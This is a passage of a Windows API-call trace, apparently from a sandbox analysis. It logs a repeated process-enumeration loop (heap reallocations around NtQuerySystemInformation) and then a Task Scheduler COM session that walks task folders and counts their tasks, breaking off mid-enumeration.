(Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.072] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.072] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.072] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.073] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.073] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.073] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.182] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.182] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.182] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.182] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.183] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.183] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.183] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.183] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.183] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.290] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.290] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.290] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.291] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.399] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.399] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.399] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.399] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.400] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.400] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.400] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.400] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.400] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.400] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.400] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.509] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.510] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.510] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.618] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.618] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.618] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.618] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.618] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.619] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.619] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.619] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.619] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.619] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.619] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.619] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.727] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.727] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.727] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.727] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.727] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.728] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.838] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.838] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.838] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.838] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.838] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.839] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.839] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.839] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.839] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0227.945] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0227.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0227.945] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0227.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0227.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0227.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0227.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0227.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0227.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0227.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0227.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0227.946] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0227.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0227.946] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 Thread: id = 1609 os_tid = 0x730 Thread: id = 1610 os_tid = 0x734 [0129.853] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0129.854] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0129.896] CoCreateInstance (in: rclsid=0xc6050*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xc6040*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x5cfaf8 | out: ppv=0x5cfaf8*=0x47fa50) returned 0x0 [0129.917] TaskScheduler:ITaskService:Connect (This=0x47fa50, serverName=0x5cfaa0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x5cfab0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x5cfac0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x5cfad0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0129.932] TaskScheduler:ITaskService:GetFolder (in: This=0x47fa50, Path="\\", ppFolder=0x5cfaf4 | out: ppFolder=0x5cfaf4*=0x47fab8) returned 0x0 [0129.937] ITaskFolder:GetTasks (in: This=0x47fab8, flags=0, ppTasks=0x5cfa94 | out: ppTasks=0x5cfa94*=0x47fb20) returned 0x0 [0129.941] IRegisteredTaskCollection:get_Count (in: This=0x47fb20, pCount=0x5cfa70 | out: pCount=0x5cfa70*=0) returned 0x0 [0129.941] IUnknown:Release (This=0x47fb20) returned 0x0 [0129.941] ITaskFolder:GetFolders (in: This=0x47fab8, flags=0, ppFolders=0x5cfad0 | out: ppFolders=0x5cfad0*=0x47fb20) returned 0x0 [0129.978] ITaskFolderCollection:get_Count (in: This=0x47fb20, pCount=0x5cfac4 | out: pCount=0x5cfac4*=2) returned 0x0 [0129.978] ITaskFolderCollection:get_Item (in: This=0x47fb20, index=0x5cfaa0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfac8 | out: ppFolder=0x5cfac8*=0x47fbb0) returned 0x0 [0129.978] ITaskFolder:GetTasks (in: This=0x47fbb0, flags=0, ppTasks=0x5cfa68 | out: ppTasks=0x5cfa68*=0x47fc00) returned 0x0 [0130.092] IRegisteredTaskCollection:get_Count (in: This=0x47fc00, pCount=0x5cfa44 | out: pCount=0x5cfa44*=0) returned 0x0 [0130.092] IUnknown:Release (This=0x47fc00) returned 0x0 [0130.092] ITaskFolder:GetFolders (in: This=0x47fbb0, flags=0, ppFolders=0x5cfaa4 | out: ppFolders=0x5cfaa4*=0x47fc00) returned 0x0 [0130.093] ITaskFolderCollection:get_Count (in: This=0x47fc00, pCount=0x5cfa98 | out: pCount=0x5cfa98*=2) returned 0x0 [0130.093] ITaskFolderCollection:get_Item (in: This=0x47fc00, index=0x5cfa74*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa9c | out: ppFolder=0x5cfa9c*=0x47fcd0) returned 0x0 [0130.093] ITaskFolder:GetTasks (in: This=0x47fcd0, flags=0, ppTasks=0x5cfa3c | out: ppTasks=0x5cfa3c*=0x47fd30) returned 0x0 [0130.093] IRegisteredTaskCollection:get_Count (in: This=0x47fd30, pCount=0x5cfa18 | out: pCount=0x5cfa18*=0) returned 0x0 [0130.093] IUnknown:Release (This=0x47fd30) returned 0x0 [0130.093] ITaskFolder:GetFolders (in: This=0x47fcd0, flags=0, ppFolders=0x5cfa78 | out: ppFolders=0x5cfa78*=0x47fd30) returned 0x0 [0130.101] ITaskFolderCollection:get_Count (in: This=0x47fd30, pCount=0x5cfa6c | out: pCount=0x5cfa6c*=45) returned 0x0 [0130.102] ITaskFolderCollection:get_Item (in: This=0x47fd30, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x47fe10) returned 0x0 [0130.102] ITaskFolder:GetTasks (in: This=0x47fe10, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x47fed8) returned 0x0 [0130.110] 